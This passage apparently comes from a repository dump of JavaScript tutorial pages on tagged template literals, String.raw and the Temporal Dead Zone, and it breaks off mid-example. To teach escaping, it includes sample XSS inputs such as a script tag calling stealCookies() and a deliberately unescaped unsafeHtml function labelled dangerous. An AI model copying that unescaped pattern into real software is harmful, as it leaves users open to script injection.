Without String.raw - need to escape every backslash\nconst path1 = 'C:\\\\Users\\\\Alice\\\\Documents\\\\file.txt'\n\n// With String.raw - write naturally\nconst path2 = String.raw`C:\\Users\\Alice\\Documents\\file.txt`\n\nconsole.log(path1 === path2)  // true\n```\n\n### Perfect for Regular Expressions\n\nRegex patterns often contain backslashes. `String.raw` eliminates double-escaping:\n\n```javascript\n// Without String.raw - double escaping needed\nconst pattern1 = new RegExp('\\\\d+\\\\.\\\\d+')\n\n// With String.raw - much cleaner\nconst pattern2 = new RegExp(String.raw`\\d+\\.\\d+`)\n\nconsole.log(pattern1.test('3.14'))  // true\nconsole.log(pattern2.test('3.14'))  // true\n```\n\n### How String.raw Works Under the Hood\n\n`String.raw` can also be called as a regular function with an object:\n\n```javascript\n// Called with a template literal\nconsole.log(String.raw`Hi\\n${2 + 3}!`)  // \"Hi\\n5!\"\n\n// Called as a function (same result)\nconsole.log(String.raw({ raw: ['Hi\\\\n', '!'] }, 5))  // \"Hi\\n5!\"\n```\n\n---\n\n## Building Custom Tag Functions\n\nNow let's build some practical tag functions.\n\n### Example 1: HTML Escaping\n\nOne of the most common uses for tagged templates is preventing XSS (Cross-Site Scripting) attacks by escaping user input:\n\n```javascript\nfunction escapeHTML(str) {\n  return str\n    .replace(/&/g, '&amp;')\n    .replace(/</g, '&lt;')\n    .replace(/>/g, '&gt;')\n    .replace(/\"/g, '&quot;')\n    .replace(/'/g, '&#39;')\n}\n\nfunction html(strings, ...values) {\n  return strings.reduce((result, str, i) => {\n    const value = values[i] !== undefined ? escapeHTML(String(values[i])) : ''\n    return result + str + value\n  }, '')\n}\n\n// Safe: user input is escaped\nconst userInput = '<script>alert(\"XSS\")</script>'\nconst safe = html`<div>User said: ${userInput}</div>`\nconsole.log(safe)\n// \"<div>User said: &lt;script&gt;alert(\"XSS\")&lt;/script&gt;</div>\"\n```\n\nThe static parts (written by the developer) pass through unchanged, but dynamic values (potentially from users) are escaped.\n\n### Example 2: Highlighting Values\n\nMark all interpolated values with a highlight:\n\n```javascript\nfunction highlight(strings, ...values) {\n  return strings.reduce((result, str, i) => {\n    const value = values[i] !== undefined ? `<mark>${values[i]}</mark>` : ''\n    return result + str + value\n  }, '')\n}\n\nconst product = 'Widget'\nconst price = 29.99\n\nconst message = highlight`The ${product} costs $${price}`\nconsole.log(message)\n// \"The <mark>Widget</mark> costs $<mark>29.99</mark>\"\n```\n\n### Example 3: Currency Formatting\n\nFormat numbers as currency automatically:\n\n```javascript\nfunction currency(strings, ...values) {\n  const formatter = new Intl.NumberFormat('en-US', {\n    style: 'currency',\n    currency: 'USD'\n  })\n  \n  return strings.reduce((result, str, i) => {\n    let value = values[i]\n    if (typeof value === 'number') {\n      value = formatter.format(value)\n    }\n    return result + str + (value ?? '')\n  }, '')\n}\n\nconst item = 'Coffee'\nconst price = 4.5\nconst tax = 0.36\n\nconsole.log(currency`${item}: ${price} + ${tax} tax`)\n// \"Coffee: $4.50 + $0.36 tax\"\n```\n\n### Example 4: Debug Logging\n\nCreate a debug tag that shows types and values:\n\n```javascript\nfunction debug(strings, ...values) {\n  let output = ''\n  strings.forEach((str, i) => {\n    output += str\n    if (i < values.length) {\n      const type = typeof values[i]\n      const val = JSON.stringify(values[i])\n      output += `[${type}: ${val}]`\n    }\n  })\n  return output\n}\n\nconst user = { name: 'Alice', age: 30 }\nconst items = ['apple', 'banana']\n\nconsole.log(debug`User: ${user}, Items: ${items}`)\n// \"User: [object: {\"name\":\"Alice\",\"age\":30}], Items: [object: [\"apple\",\"banana\"]]\"\n```\n\n---\n\n## Advanced Patterns\n\n### Returning Non-Strings\n\nTag functions don't have to return strings. They can return anything:\n\n```javascript\n// Return an array\nfunction toArray(strings, ...values) {\n  return values\n}\n\nconsole.log(toArray`${1} and ${2} and ${3}`)  // [1, 2, 3]\n\n// Return an object\nfunction toObject(strings, ...values) {\n  const keys = strings.slice(0, -1).map(s => s.trim().replace(':', ''))\n  const obj = {}\n  keys.forEach((key, i) => {\n    if (key) obj[key] = values[i]\n  })\n  return obj\n}\n\nconst name = 'Alice'\nconst age = 30\nconsole.log(toObject`name: ${name}, age: ${age},`)\n// { name: \"Alice\", age: 30 }\n```\n\n### Reusable Template Factories\n\nReturn a function for reusable templates:\n\n```javascript\nfunction template(strings, ...keys) {\n  return function(data) {\n    return strings.reduce((result, str, i) => {\n      const key = keys[i]\n      const value = key !== undefined ? data[key] : ''\n      return result + str + value\n    }, '')\n  }\n}\n\n// Create a reusable template\nconst greeting = template`Hello, ${'name'}! You have ${'count'} messages.`\n\n// Use it with different data\nconsole.log(greeting({ name: 'Alice', count: 5 }))\n// \"Hello, Alice! You have 5 messages.\"\n\nconsole.log(greeting({ name: 'Bob', count: 0 }))\n// \"Hello, Bob! You have 0 messages.\"\n```\n\n### Building an Identity Tag\n\nTo create a tag that processes escapes normally (like an untagged template):\n\n```javascript\n// String.raw keeps escapes raw - not what we want for an identity tag\nconsole.log(String.raw`Line1\\nLine2`)  // \"Line1\\nLine2\" (literal backslash-n)\n\n// An identity tag that processes escapes normally\nfunction identity(strings, ...values) {\n  // Pass the \"cooked\" strings as if they were raw\n  return String.raw({ raw: strings }, ...values)\n}\n\nconsole.log(identity`Line1\\nLine2`)\n// \"Line1\n// Line2\" (actual newline)\n```\n\nThis pattern is useful when you want IDE syntax highlighting support for tagged templates but want the same output as an untagged template.\n\n---\n\n## Real-World Use Cases\n\nTagged template literals power many popular libraries and patterns. Libraries like Apollo GraphQL (the `gql` tag), Lit (HTML templates), and styled-components (CSS-in-JS) all rely on tagged templates as their core API:\n\n### SQL Query Builders\n\nSafely parameterize SQL queries to prevent SQL injection:\n\n```javascript\nfunction sql(strings, ...values) {\n  // In a real implementation, this would use parameterized queries\n  const query = strings.reduce((result, str, i) => {\n    return result + str + (i < values.length ? `$${i + 1}` : '')\n  }, '')\n  \n  return {\n    text: query,\n    values: values\n  }\n}\n\nconst userId = 123\nconst status = 'active'\n\nconst query = sql`\n  SELECT * FROM users \n  WHERE id = ${userId} \n  AND status = ${status}\n`\n\nconsole.log(query.text)\n// \"SELECT * FROM users WHERE id = $1 AND status = $2\"\nconsole.log(query.values)\n// [123, \"active\"]\n```\n\n### GraphQL Queries\n\nThe `gql` tag in Apollo and other GraphQL clients parses query strings:\n\n```javascript\n// Conceptual example (actual implementation is more complex)\nfunction gql(strings, ...values) {\n  const query = strings.reduce((result, str, i) => {\n    return result + str + (values[i] ?? '')\n  }, '')\n  \n  return {\n    kind: 'Document',\n    query: query.trim()\n  }\n}\n\nconst query = gql`\n  query GetUser($id: ID!) {\n    user(id: $id) {\n      name\n      email\n    }\n  }\n`\n```\n\n### CSS-in-JS Patterns\n\nLibraries like Lit use tagged templates for CSS:\n\n```javascript\nfunction css(strings, ...values) {\n  return strings.reduce((result, str, i) => {\n    return result + str + (values[i] ?? '')\n  }, '')\n}\n\nconst primaryColor = '#007bff'\nconst styles = css`\n  .button {\n    background-color: ${primaryColor};\n    padding: 10px 20px;\n    border: none;\n  }\n`\n```\n\n### Internationalization (i18n)\n\nHandle translations with placeholders:\n\n```javascript\nconst translations = {\n  'en': { greeting: 'Hello, {0}! You have {1} messages.' },\n  'es': { greeting: '¡Hola, {0}! Tienes {1} mensajes.' }\n}\n\nfunction createI18n(locale) {\n  return function(strings, ...values) {\n    // In a real implementation, you'd look up translations by key\n    let result = strings.reduce((acc, str, i) => {\n      return acc + str + (values[i] !== undefined ? `{${i}}` : '')\n    }, '')\n    \n    // Replace placeholders with values\n    values.forEach((value, i) => {\n      result = result.replace(`{${i}}`, value)\n    })\n    \n    return result\n  }\n}\n\nconst t = createI18n('en')\nconsole.log(t`Hello, ${'María'}! You have ${3} messages.`)\n// \"Hello, María! You have 3 messages.\"\n```\n\n---\n\n## Common Mistakes\n\n### Forgetting the Last String\n\nThe strings array always has one more element than values. Don't forget it:\n\n```javascript\n// ❌ WRONG - Loses the last string segment\nfunction broken(strings, ...values) {\n  return strings.reduce((result, str, i) => {\n    return result + str + values[i]  // values[last] is undefined!\n  }, '')\n}\n\nconst name = 'Alice'\nconsole.log(broken`Hello ${name}!`)  // \"Hello Aliceundefined\"\n\n// ✓ CORRECT - Check for undefined\nfunction fixed(strings, ...values) {\n  return strings.reduce((result, str, i) => {\n    const value = values[i] !== undefined ? values[i] : ''\n    return result + str + value\n  }, '')\n}\n\nconsole.log(fixed`Hello ${name}!`)  // \"Hello Alice!\"\n```\n\n### Not Escaping User Input\n\nWhen building HTML, always escape interpolated values:\n\n```javascript\nfunction escapeHTML(str) {\n  return str\n    .replace(/&/g, '&amp;')\n    .replace(/</g, '&lt;')\n    .replace(/>/g, '&gt;')\n    .replace(/\"/g, '&quot;')\n    .replace(/'/g, '&#39;')\n}\n\n// ❌ DANGEROUS - XSS vulnerability\nfunction unsafeHtml(strings, ...values) {\n  return strings.reduce((result, str, i) => {\n    return result + str + (values[i] ?? '')\n  }, '')\n}\n\n// ✓ SAFE - Escape all values\nfunction safeHtml(strings, ...values) {\n  return strings.reduce((result, str, i) => {\n    const value = values[i] !== undefined ? escapeHTML(String(values[i])) : ''\n    return result + str + value\n  }, '')\n}\n```\n\n### Confusing Tagged and Untagged Behavior\n\nRemember that tagged templates call a function. Some syntax doesn't work:\n\n```javascript\n// ✓ Works - calling console.log as a tag\nconsole.log`Hello`  // [\"Hello\"]\n\n// ❌ SyntaxError - can't use optional chaining with tagged templates\n// console?.log`Hello`  // SyntaxError\n\n// ❌ TypeError - can't chain template literals without a tag\n// `Hello``World`  // TypeError: \"Hello\" is not a function\n```\n\n---\n\n## TypeScript Template Literal Types\n\nTypeScript 4.1+ introduced template literal types, which let you create string types from combinations:\n\n```typescript\n// Basic template literal type\ntype Greeting = `Hello, ${string}!`\n\nconst valid: Greeting = 'Hello, World!'  // OK\n// const invalid: Greeting = 'Hi there!'  // Error\n\n// Combining literal types\ntype Color = 'red' | 'blue' | 'green'\ntype Size = 'small' | 'large'\ntype ColoredSize = `${Size}-${Color}`\n// \"small-red\" | \"small-blue\" | \"small-green\" | \"large-red\" | ...\n```\n\nThis is a compile-time type system feature, separate from runtime tagged templates.\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember about tagged template literals:**\n\n1. **Tag functions receive strings and values separately.** The first argument is an array of static strings; remaining arguments are interpolated values.\n\n2. **There's always one more string than values.** The template starts and ends with a string (which may be empty). `strings.length === values.length + 1`.\n\n3. **The strings array has a `raw` property.** `strings.raw` contains unprocessed strings where escape sequences are preserved as literal characters.\n\n4. **`String.raw` is the built-in tag.** Use it for file paths and regex patterns to avoid double-escaping backslashes.\n\n5. **Invalid escape sequences are allowed in tagged templates.** The cooked value becomes `undefined`, but `raw` preserves the original text.\n\n6. **Tag functions can return anything.** They don't have to return strings. They can return objects, arrays, functions, or anything else.\n\n7. **Always escape user input in HTML tags.** Tagged templates make it easy to sanitize values while leaving developer-written strings untouched.\n\n8. **Common patterns include HTML escaping, SQL parameterization, and DSLs.** Libraries like GraphQL clients and CSS-in-JS tools are built on tagged templates.\n\n9. **Don't confuse runtime tags with TypeScript template literal types.** TypeScript's feature is compile-time type checking, not runtime string processing.\n\n10. **Remember the syntax: no parentheses.** Call tags with `` tag`template` ``, not `` tag(`template`) ``.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What arguments does a tag function receive?\">\n    **Answer:**\n    \n    A tag function receives:\n    1. An array of static string literals (the parts between expressions)\n    2. The evaluated expression values as separate arguments (usually collected with `...values`)\n    \n    ```javascript\n    function tag(strings, ...values) {\n      // strings = array of static string parts\n      // values = array of interpolated expression results\n    }\n    \n    const name = 'Alice'\n    const age = 30\n    tag`Hello ${name}, you are ${age} years old`\n    // strings: [\"Hello \", \", you are \", \" years old\"]\n    // values: [\"Alice\", 30]\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 2: What's the relationship between strings.length and values.length?\">\n    **Answer:**\n    \n    `strings.length` is always exactly `values.length + 1`. This is because:\n    - A template always starts with a string (possibly empty)\n    - Each value is surrounded by strings\n    - A template always ends with a string (possibly empty)\n    \n    ```javascript\n    function count(strings, ...values) {\n      return `${strings.length} strings, ${values.length} values`\n    }\n    \n    count`${1}`           // \"2 strings, 1 values\"\n    count`x${1}y${2}z`    // \"3 strings, 2 values\"\n    count`no values`      // \"1 strings, 0 values\"\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 3: What's the difference between strings and strings.raw?\">\n    **Answer:**\n    \n    - `strings` contains \"cooked\" strings where escape sequences are processed (`\\n` becomes a newline character)\n    - `strings.raw` contains raw strings where escape sequences are preserved (`\\n` stays as backslash-n)\n    \n    ```javascript\n    function compare(strings) {\n      console.log('Cooked:', strings[0])      // Actual newline\n      console.log('Raw:', strings.raw[0])     // Literal \"\\n\"\n    }\n    \n    compare`Line1\\nLine2`\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 4: When would you use String.raw?\">\n    **Answer:**\n    \n    Use `String.raw` when you want escape sequences to remain as literal characters:\n    \n    - **Windows file paths:** `String.raw\\`C:\\Users\\Alice\\file.txt\\``\n    - **Regular expressions:** `new RegExp(String.raw\\`\\d+\\.\\d+\\`)`\n    - **Any text with lots of backslashes** that you don't want interpreted\n    \n    ```javascript\n    // Much cleaner than escaping every backslash\n    const path = String.raw`C:\\Users\\Alice\\Documents`\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 5: Can a tag function return something other than a string?\">\n    **Answer:**\n    \n    Yes! Tag functions can return anything. This flexibility is what makes them so powerful:\n    \n    ```javascript\n    // Return an array\n    function values(strings, ...vals) {\n      return vals\n    }\n    values`${1}, ${2}, ${3}`  // [1, 2, 3]\n    \n    // Return an object\n    function sql(strings, ...vals) {\n      return { query: strings.join('?'), params: vals }\n    }\n    \n    // Return a function (template factory)\n    function template(strings, ...keys) {\n      return (data) => { /* process data */ }\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 6: Why is escaping important in HTML tag functions?\">\n    **Answer:**\n    \n    Without escaping, user input containing HTML or script tags could execute malicious code (XSS attack):\n    \n    ```javascript\n    // ❌ Dangerous - user input rendered as HTML\n    const userInput = '<script>stealCookies()</script>'\n    unsafeHtml`<div>${userInput}</div>`  // Script could execute!\n    \n    // ✓ Safe - HTML entities are escaped\n    function safeHtml(strings, ...values) {\n      return strings.reduce((result, str, i) => {\n        const value = values[i] !== undefined \n          ? escapeHTML(String(values[i])) \n          : ''\n        return result + str + value\n      }, '')\n    }\n    // Output: <div>&lt;script&gt;stealCookies()&lt;/script&gt;</div>\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What are tagged template literals in JavaScript?\">\n    Tagged template literals let you call a function using a template literal instead of parentheses. The tag function receives the static string parts and interpolated values as separate arguments, giving you complete control over how they are combined. They were introduced in ECMAScript 2015 and power libraries like GraphQL, Lit, and styled-components.\n  </Accordion>\n\n  <Accordion title=\"What is String.raw used for in JavaScript?\">\n    `String.raw` is JavaScript's built-in tag function that returns a string without processing escape sequences. It is especially useful for Windows file paths (`String.raw\\`C:\\Users\\Alice\\`) and regular expressions (`new RegExp(String.raw\\`\\d+\\.\\d+\\`)`), eliminating the need to double-escape backslashes.\n  </Accordion>\n\n  <Accordion title=\"Can a tag function return something other than a string?\">\n    Yes. Tag functions can return any value — objects, arrays, functions, or even Promises. This flexibility is what makes them powerful for building DSLs. For example, GraphQL's `gql` tag returns a parsed document object, and template factory patterns return reusable functions.\n  </Accordion>\n\n  <Accordion title=\"How do tagged templates help prevent XSS attacks?\">\n    Tag functions receive user-provided values separately from developer-written static strings. This separation lets you automatically escape all interpolated values (converting `<` to `&lt;`, etc.) while leaving static HTML untouched. MDN recommends this pattern as a clean approach to building safe HTML templates.\n  </Accordion>\n\n  <Accordion title=\"What is the relationship between strings.length and values.length in a tag function?\">\n    There is always exactly one more string than there are values: `strings.length === values.length + 1`. A template always starts and ends with a string (which may be empty), and each interpolated value is surrounded by strings. This predictable structure makes interleaving straightforward.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Modern JS Syntax\" icon=\"wand-magic-sparkles\" href=\"/concepts/modern-js-syntax\">\n    Template literal basics and other ES6+ features\n  </Card>\n  <Card title=\"Higher-Order Functions\" icon=\"layer-group\" href=\"/concepts/higher-order-functions\">\n    Functions that return functions, like template factories\n  </Card>\n  <Card title=\"Regular Expressions\" icon=\"code\" href=\"/concepts/regular-expressions\">\n    String.raw is especially useful for regex patterns\n  </Card>\n  <Card title=\"Error Handling\" icon=\"shield\" href=\"/concepts/error-handling\">\n    Handling errors in tag functions and input validation\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Template literals — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals\">\n    Complete MDN reference covering template literals and tagged templates\n  </Card>\n  <Card title=\"String.raw() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/raw\">\n    Documentation for JavaScript's built-in tag function\n  </Card>\n  <Card title=\"Lexical grammar — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#escape_sequences\">\n    How escape sequences work in JavaScript strings\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Template Literals — CSS-Tricks\" icon=\"newspaper\" href=\"https://css-tricks.com/template-literals/\">\n    Covers tagged templates with a practical reusable template factory example. Great for understanding how to build template systems from scratch.\n  </Card>\n  <Card title=\"ES6 Tagged Template Literals — freeCodeCamp\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/es6-tagged-template-literals-48a70ef3ed4d/\">\n    Explains how function expressions in interpolations enable powerful patterns. Clear examples of why tagged templates are more flexible than regular ones.\n  </Card>\n  <Card title=\"HTML Templating with ES6 Template Strings — 2ality\" icon=\"newspaper\" href=\"https://2ality.com/2015/01/template-strings-html.html\">\n    Dr. Axel Rauschmayer demonstrates building an HTML template system with automatic escaping. Shows the convention for marking escaped values.\n  </Card>\n  <Card title=\"ES6 in Depth: Template strings — Mozilla Hacks\" icon=\"newspaper\" href=\"https://hacks.mozilla.org/2015/05/es6-in-depth-template-strings-2/\">\n    Deep technical dive from Mozilla engineers who helped design the feature. Excellent for understanding the design decisions behind tagged templates.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"Tagged Template Literals Explained — Web Dev Simplified\" icon=\"video\" href=\"https://www.youtube.com/watch?v=DG4obitDvUA\">\n    Clear beginner-friendly explanation of how tag functions receive their arguments. Perfect starting point if you're new to this feature.\n  </Card>\n  <Card title=\"Template Literals and Tagged Templates — Fun Fun Function\" icon=\"video\" href=\"https://www.youtube.com/watch?v=c9j0avG5L4c\">\n    MPJ's entertaining deep-dive into tagged templates with practical examples. His explanation of the strings/values relationship is particularly clear.\n  </Card>\n  <Card title=\"JavaScript ES6 Template Literals — Traversy Media\" icon=\"video\" href=\"https://www.youtube.com/watch?v=kj8HU-_P2NU\">\n    Comprehensive crash course covering both basic and tagged template literals with real-world examples and use cases.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/temporal-dead-zone.mdx",
    "content": "---\ntitle: \"Temporal Dead Zone in JS\"\nsidebarTitle: \"Temporal Dead Zone\"\ndescription: \"Learn the Temporal Dead Zone (TDZ) in JavaScript. Understand why let, const, and class throw ReferenceError before initialization, and how TDZ differs from var.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Language Mechanics\"\n\"article:tag\": \"temporal dead zone, let const hoisting, reference error, tdz, block scope, declaration timing\"\n---\n\nWhy does this code throw an error?\n\n```javascript\nconsole.log(name)  // ReferenceError: Cannot access 'name' before initialization\nlet name = \"Alice\"\n```\n\nBut this code works fine?\n\n```javascript\nconsole.log(name)  // undefined (no error!)\nvar name = \"Alice\"\n```\n\nThe difference is the **Temporal Dead Zone (TDZ)**. It's a behavior that makes [`let`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let), [`const`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const), and [`class`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/class) declarations safer than `var` by catching bugs early.\n\n<Info>\n**What you'll learn in this guide:**\n- What the Temporal Dead Zone is and why it exists\n- How TDZ affects `let`, `const`, `class`, and default parameters\n- Why it's called \"temporal\" (hint: it's about time, not position)\n- The key differences between TDZ and `var` hoisting\n- How `typeof` behaves differently in the TDZ\n- TDZ edge cases in destructuring, loops, and ES modules\n- Common TDZ pitfalls and how to avoid them\n</Info>\n\n<Warning>\n**Prerequisite:** This guide assumes you understand [scope and closures](/concepts/scope-and-closures). You should know the difference between global, function, and block scope before diving into TDZ.\n</Warning>\n\n---\n\n## What is the Temporal Dead Zone?\n\nThe **Temporal Dead Zone (TDZ)** in JavaScript is the period between entering a scope and the line where a `let`, `const`, or `class` variable is initialized. During this zone, the variable exists but cannot be accessed—any attempt throws a [`ReferenceError`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError). The TDZ prevents bugs by catching accidental use of uninitialized variables. As defined in the [ECMAScript specification](https://tc39.es/ecma262/#sec-let-and-const-declarations), `let` and `const` bindings are created when their containing environment record is instantiated but remain uninitialized until their declaration is evaluated.\n\n```javascript\n{\n  // TDZ for 'x' starts here (beginning of block)\n  \n  console.log(x)  // ReferenceError: Cannot access 'x' before initialization\n  \n  let x = 10      // TDZ for 'x' ends here\n  \n  console.log(x)  // 10 (works fine)\n}\n```\n\nThe TDZ applies to:\n- `let` declarations\n- `const` declarations\n- `class` declarations\n- Function default parameters (in certain cases)\n- Static class fields\n\n---\n\n## The Restaurant Reservation Analogy\n\nThink of the TDZ like a restaurant reservation system.\n\nWhen you make a reservation, your table is **reserved** from the moment you call. The table exists, it has your name on it, but you can't sit there yet. If you show up early and try to sit down, the host will stop you: \"Sorry, your table isn't ready.\"\n\nThe table becomes available only when your reservation time arrives. Then you can sit, order, and enjoy your meal.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                     THE TEMPORAL DEAD ZONE                               │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   {  // You enter the restaurant (scope begins)                          │\n│                                                                          │\n│     ┌──────────────────────────────────────────────┐                     │\n│     │         TEMPORAL DEAD ZONE FOR 'x'           │                     │\n│     │                                              │                     │\n│     │   Table reserved, but NOT ready yet          │                     │\n│     │                                              │                     │\n│     │   console.log(x);  // \"Table isn't ready!\"   │                     │\n│     │                    // ReferenceError         │                     │\n│     │                                              │                     │\n│     └──────────────────────────────────────────────┘                     │\n│                                                                          │\n│     let x = 10;  // Reservation time! Table is ready.                    │\n│                                                                          │\n│     console.log(x);  // \"Here's your table!\" → 10                        │\n│                                                                          │\n│   }                                                                      │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nVariables in the TDZ are like reserved tables: they exist, JavaScript knows about them, but they're not ready for use yet.\n\n---\n\n## TDZ vs var Hoisting\n\nBoth `var` and `let`/`const` are **hoisted**, meaning JavaScript knows about them before code execution. The difference is in **initialization**:\n\n| Aspect | `var` | `let` / `const` |\n|--------|-------|-----------------|\n| Hoisted? | Yes | Yes |\n| Initialized at hoisting? | Yes, to `undefined` | No (remains uninitialized) |\n| Access before declaration? | Returns `undefined` | Throws `ReferenceError` |\n| Has TDZ? | No | Yes |\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                      var vs let/const HOISTING                           │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   VAR: Hoisted + Initialized             LET/CONST: Hoisted Only         │\n│   ──────────────────────────             ────────────────────────        │\n│                                                                          │\n│   ┌─────────────────────┐               ┌─────────────────────┐          │\n│   │ // JS does this:    │               │ // JS does this:    │          │\n│   │ var x = undefined   │ ← ready       │ let y (uninitialized)│ ← TDZ   │\n│   └─────────────────────┘               └─────────────────────┘          │\n│           │                                      │                       │\n│           ▼                                      ▼                       │\n│   console.log(x) // undefined           console.log(y) // Error!         │\n│           │                                      │                       │\n│           ▼                                      ▼                       │\n│   var x = 10  // reassignment           let y = 10  // initialization    │\n│           │                                      │                       │\n│           ▼                                      ▼                       │\n│   console.log(x) // 10                  console.log(y) // 10             │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nHere's the behavior in code:\n\n```javascript\nfunction varExample() {\n  console.log(x)  // undefined (not an error!)\n  var x = 10\n  console.log(x)  // 10\n}\n\nfunction letExample() {\n  console.log(y)  // ReferenceError: Cannot access 'y' before initialization\n  let y = 10\n  console.log(y)  // never reaches here\n}\n```\n\n---\n\n## Why \"Temporal\"?\n\nThe word \"temporal\" means **related to time**. The TDZ is \"temporal\" because it depends on **when code executes**, not where it appears in the source. MDN documents this distinction explicitly: the zone is defined by the execution flow, not the lexical position of the code.\n\nThis is a subtle but important distinction. Look at this example:\n\n```javascript\n{\n  // TDZ for 'x' starts here\n  \n  const getX = () => x  // This function references x\n  \n  let x = 42            // TDZ ends here\n  \n  console.log(getX())   // 42 - works!\n}\n```\n\nWait, the function `getX` is defined *before* `x` is initialized. Why doesn't it throw an error?\n\nBecause the TDZ is about **execution time**, not **definition time**:\n\n1. The function `getX` is **defined** during the TDZ, but that's fine\n2. The function `getX` is **called** after `x` is initialized\n3. When `getX()` runs, `x` is already available\n\nThe TDZ only matters when you actually try to **access** the variable. Defining a function that *will* access it later is perfectly safe.\n\n```javascript\n{\n  const getX = () => x  // OK: just defining, not accessing\n  \n  getX()                // ReferenceError! Calling during TDZ\n  \n  let x = 42\n  \n  getX()                // 42 - now it works\n}\n```\n\n---\n\n## What Creates a TDZ?\n\n<AccordionGroup>\n  <Accordion title=\"let declarations\">\n    Every `let` declaration creates a TDZ from the start of its block until the declaration:\n    \n    ```javascript\n    {\n      // TDZ starts\n      console.log(x)  // ReferenceError\n      let x = 10      // TDZ ends\n      console.log(x)  // 10\n    }\n    ```\n  </Accordion>\n\n  <Accordion title=\"const declarations\">\n    Same behavior as `let`, but `const` must also be initialized at declaration:\n    \n    ```javascript\n    {\n      // TDZ starts\n      console.log(PI)  // ReferenceError\n      const PI = 3.14159  // TDZ ends\n      console.log(PI)  // 3.14159\n    }\n    ```\n  </Accordion>\n\n  <Accordion title=\"class declarations\">\n    Classes behave like `let` and `const`. You can't use a class before its declaration:\n    \n    ```javascript\n    const instance = new MyClass()  // ReferenceError\n    \n    class MyClass {\n      constructor() {\n        this.value = 42\n      }\n    }\n    \n    const instance2 = new MyClass()  // Works fine\n    ```\n    \n    This applies to class expressions too when assigned to `let` or `const`.\n  </Accordion>\n\n  <Accordion title=\"Function default parameters\">\n    Default parameters have their own TDZ rules. Later parameters can reference earlier ones, but not vice versa:\n    \n    ```javascript\n    // Works: b can reference a\n    function example(a = 1, b = a + 1) {\n      return a + b  // 1 + 2 = 3\n    }\n    \n    // Fails: a cannot reference b (TDZ!)\n    function broken(a = b, b = 2) {\n      return a + b  // ReferenceError\n    }\n    ```\n  </Accordion>\n\n  <Accordion title=\"Static class fields\">\n    Static fields are initialized in order. Later fields can reference earlier ones, but referencing later fields returns `undefined` (not TDZ, since it's property access):\n    \n    ```javascript\n    class Config {\n      static baseUrl = \"https://api.example.com\"\n      static apiUrl = Config.baseUrl + \"/v1\"  // Works\n    }\n    \n    class Example {\n      static first = Example.second  // undefined (property doesn't exist yet)\n      static second = 10\n    }\n    // Example.first is undefined, Example.second is 10\n    ```\n    \n    However, the class itself is in TDZ before its declaration:\n    \n    ```javascript\n    const x = MyClass.value  // ReferenceError: MyClass is in TDZ\n    class MyClass {\n      static value = 10\n    }\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## TDZ with typeof\n\nHere's a tricky edge case. The `typeof` operator is normally \"safe\" to use with undeclared variables:\n\n```javascript\nconsole.log(typeof undeclaredVar)  // \"undefined\" (no error)\n```\n\nBut `typeof` throws a ReferenceError when used on a TDZ variable:\n\n```javascript\n{\n  console.log(typeof x)  // ReferenceError: Cannot access 'x' before initialization\n  let x = 10\n}\n```\n\nThis catches developers off guard because `typeof` is often used for \"safe\" variable checking. With `let` and `const`, that safety doesn't apply during the TDZ.\n\n<Tip>\n**Rule of Thumb:** If you need to check whether a variable exists, don't rely on `typeof` alone. Structure your code so variables are declared before you need to check them.\n</Tip>\n\n---\n\n## TDZ in Destructuring\n\nDestructuring follows the same left-to-right evaluation as default parameters:\n\n```javascript\n// Works: b can use a's default\nlet { a = 1, b = a + 1 } = {}\nconsole.log(a, b)  // 1, 2\n\n// Fails: a cannot use b (TDZ!)\nlet { a = b, b = 1 } = {}  // ReferenceError\n```\n\nSelf-referencing is also a TDZ error:\n\n```javascript\nlet { x = x } = {}  // ReferenceError: Cannot access 'x' before initialization\n```\n\nThe `x` on the right side of `=` refers to the `x` being declared, which is still in the TDZ.\n\n---\n\n## TDZ in Loops\n\n### for...of and for...in Self-Reference\n\nThe loop variable is in TDZ during header evaluation:\n\n```javascript\n// This throws because 'n' is used in its own declaration\nfor (let n of n.values) {  // ReferenceError\n  console.log(n)\n}\n```\n\n### Fresh Bindings Per Iteration\n\nA key `let` behavior in loops: each iteration gets a **fresh binding**:\n\n```javascript\nconst funcs = []\n\nfor (let i = 0; i < 3; i++) {\n  funcs.push(() => i)\n}\n\nconsole.log(funcs[0]())  // 0\nconsole.log(funcs[1]())  // 1\nconsole.log(funcs[2]())  // 